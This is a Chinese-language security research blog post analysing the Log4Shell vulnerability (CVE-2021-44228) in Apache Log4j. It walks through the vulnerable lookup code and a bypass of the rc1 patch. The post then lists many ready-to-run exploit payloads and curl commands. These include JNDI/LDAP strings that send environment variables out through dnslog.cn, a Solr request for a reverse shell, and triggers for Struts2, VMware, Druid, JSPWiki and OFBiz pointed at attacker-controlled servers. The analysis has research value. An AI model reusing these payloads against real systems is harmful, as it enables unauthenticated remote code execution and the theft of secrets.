前言
2021 年 12 月 10 日,Apache发布了其 Log4j 框架的 2.15.0 版,其中包括对 CVE-2021-44228 的修复,这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞。该漏洞存在于 Log4j 处理器处理特制日志消息的方式中。不可信的字符串(例如,来自输入文本字段的字符串,例如 Web 应用程序搜索框)包含的内容${jndi:ldap://example.com/a}
,如果启用了消息查找替换,将触发远程类加载、消息查找和相关内容的执行。成功利用 CVE-2021-44228 可以让未经身份验证的远程攻击者完全控制易受攻击的目标系统。
简介
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
Lookup提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup
接口的特定类型的插件。Lookup语法为${prefix:name}
,其中前缀标识告诉Log4j应在特定上下文中使用的变量名称。
前缀 | 上下文 |
---|---|
bundle | 资源束。格式为bundle:BundleName:BundleKey。捆绑包名称遵循包命名约定,如: {bundle:com.domain.Messages:MyKey}。 |
ctx | 线程上下文映射(MDC)。 |
date | 使用指定的格式插入当前日期和/或时间。 |
env | 系统环境变量。 |
jndi | 在默认的JNDI上下文中设置的值。 |
jvmrunargs | 通过JMX访问的JVM输入参数,但不是主要参数; 请参阅RuntimeMXBean.getInputArguments在Android上不可用 |
log4j | Log4j配置属性。表达式log4j:configLocation 和log4j:configLocation 和{log4j:configParentLocation} 分别提供给log4j的配置文件和它的父文件夹的绝对路径。 |
main | 使用 MapLookup.setMainArguments(String[])设置的值。 |
map | 来自MapMessage的值。 |
sd | 来自StructuredDataMessage的值。“id”将返回没有企业号的StructuredDataId的名称。“type”将返回消息类型。其他键将从Map中取回单个元素。 |
sys | 系统属性。 |
漏洞分析
漏洞触发
选用log4j-core 2.14.1版本,使用以下代码作为demo。启动一个恶意的RMI或LDAP服务,执行demo即可触发。
1 | import org.apache.logging.log4j.Logger; |
代码分析
跟进到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
,若未设置nolookup
为true,遍历要输出的日志,$
符号和{
符号相继出现则会在后续将花括号中的内容作处理。nolookup
在log4j 2.15.0之前是默认关闭的。
再跟进到org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute
,在这里会从外到内递归${
和}
内的内容,然后使用通了中的resolveVariable
方法解析并返回它的值。
在resolveVariable
方法里支持解析的前缀有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,实测在Spring框架下支持解析的前缀会有所不同。
继续跟进org.apache.logging.log4j.core.lookup.Interpolator#lookup
,根据前缀从strLookupMap
属性中获取相应的Lookup类实例。这里获取的是JndiLookup
的实例,并调用该实例的lookup
方法。
JndiLookup
的lookup
方法里,调用org.apache.logging.log4j.core.net.jndiManager
的getDefaultManager
静态方法,返回JndiManager
实例,其中的context
属性被设置为InitialContext
对象。
然后调用JndiManager
实例的lookup
方法,实际就是它的context
属性InitialContext
的lookup
方法,后续流程就如常规JNDI注入,加载远程的恶意类执行其中的恶意代码。
RC1修复绕过
log4j在RC1中对JNDI注入问题的修复存在于github的commit记录LOG4J2-3201中。在JndiManager
类里对反序列化的类和JNDI服务器地址做了白名单校验。
1 | public synchronized <T> T lookup(final String name) throws NamingException { |
但这个修复存在问题,如果new URI(name)
抛出了URISyntaxException
异常,则会跳过白名单校验直接调用lookup
。URI加不编码的空格可以触发URISyntaxException
跳出try catch
直接执行lookup,但在lookup
里会去掉空格,正常触发JNDI注入。
1 | ${jndi:ldap://127.0.0.1:1389/ badClassName} |
其他利用方式
读取敏感信息
log4j中的两个前缀sys
和env
,是分别通过System.getProperty()
和System.getenv()
实现的,能够获取环境变量和系统属性,再配合Out-of-Band
,就能读取到环境变量和系统属性中的敏感信息。
POC
1 | ${jndi:ldap://${env:USER}.dnslog.cn/abc} |
读取配置文件
bundle前缀ResourceBundleLookup
中会把 key 按照 :
分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value。
bundle前缀在只引入log4j的项目上默认不支持,测试在spring框架里支持。
POC
1 | ${jndi:ldap://${bundle:bundleName:bundleKey}.ed7yce.dnslog.cn/abc} |
受影响组件触发方式
struts2
检查请求路径触发
在struts2-core包的
org.apache.struts2.dispatcher.mapper#cleanupActionName
中,检查action名的范围是否在[a-zA-Z0-9._!/\-]
内,若存在访问之外的字符,则会将action名输出到WARN日志中。1
2
3
4
5
6
7
8protected String cleanupActionName(String rawActionName) {
if (this.allowedActionNames.matcher(rawActionName).matches()) {
return rawActionName;
} else {
LOG.warn("{} did not match allowed action names {} - default action {} will be used!", rawActionName, this.allowedActionNames, this.defaultActionName);
return this.defaultActionName;
}
}在请求路径中两个相邻的
/
会被转换为一个/
,将其中一个/
替换为${::-/}
可防止被转换。有的struts2版本的相同类中还存在
cleanupNamespaceName
方法,利用方式相同。POC
1
http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
检查请求参数长度
在struts2-core包的
com.opensymphony.xwork2.interceptor#isWithinLengthLimit
中,访问一个存在的action,会检查请求参数名的长度,若长度超过默认的100个字符,请求参数名则会输出到debug日志中。1
2
3
4
5
6
7
8protected boolean isWithinLengthLimit(String name) {
boolean matchLength = name.length() <= this.paramNameMaxLength;
if (!matchLength) {
LOG.debug("Parameter [{}] is too long, allowed length is [{}]", name, String.valueOf(this.paramNameMaxLength));
}
return matchLength;
}POC
1
http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123
获取静态文件If-Modified-Since头
struts2在
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter#doFilter
拦截一个请求,且请求的路径不在排除的路径内,则会先调用execute
属性的executeStaticResourceRequest
方法,判断是否为静态文件。在
org.apache.struts2.dispatcher.ExecuteOperations#executeStaticResourceRequest
里,请求以struts
或static
开头则会交给DefaultStaticContentLoader
的findStaticResource
处理。findStaticResource
方法中,静态文件会从struts2 core的org.apache.struts.static
包下找,然后会交给同类的process
方法处理。该包存在以下静态文件。tooltip.gif
domtt.css
utils.js
domTT.js
inputtransfersselect.js
optiontransferselect.js
process
方法里,静态文件输入流非空时,则会尝试将请求头If-Modified-Since
的值转为Date类型,当转换失败抛出异常,If-Modified-Since
的值就会输出到WARN日志中。我们访问struts2中默认的静态文件,并设置
If-Modified-Since
头为非Date类型即可触发log4j漏洞。POC
1
curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js
vmware
1 | curl --insecure -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest=" |
slor
1 | curl 'http://localhost:8983/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json' |
James
1 | echo 233 > email.txt |
Druid
1 | curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d' |
JSPWiki
1 | curl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/ |
OFBiz
1 | curl --insecure -vv -H "Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main |
后记
在成文那天早上,@su18师傅在群里发布log4j详细分析文章,其中还有log4j 1.x的JNDI利用思路,虽然实现条件挺苛刻,但不得不感叹师傅们真的细。
这篇文章写下来就花了一天半的时间,比以往快了不少,转了安全研究岗还是有挺多时间学东西的,虽然也有怕leader催的缘故。😂
参考
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
https://lorexxar.cn/2021/12/10/log4j2-jndi/#2-15-0-rc1-%E7%9A%84%E4%BF%AE%E5%A4%8D
https://xz.aliyun.com/t/10649#toc-2
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis